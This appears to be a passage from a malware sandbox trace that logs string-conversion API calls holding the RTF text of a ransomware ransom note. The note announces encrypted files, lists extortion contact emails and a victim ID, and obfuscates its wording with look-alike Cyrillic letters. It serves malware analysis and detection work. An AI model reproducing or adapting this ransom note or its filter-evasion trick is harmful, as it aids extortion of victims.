d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 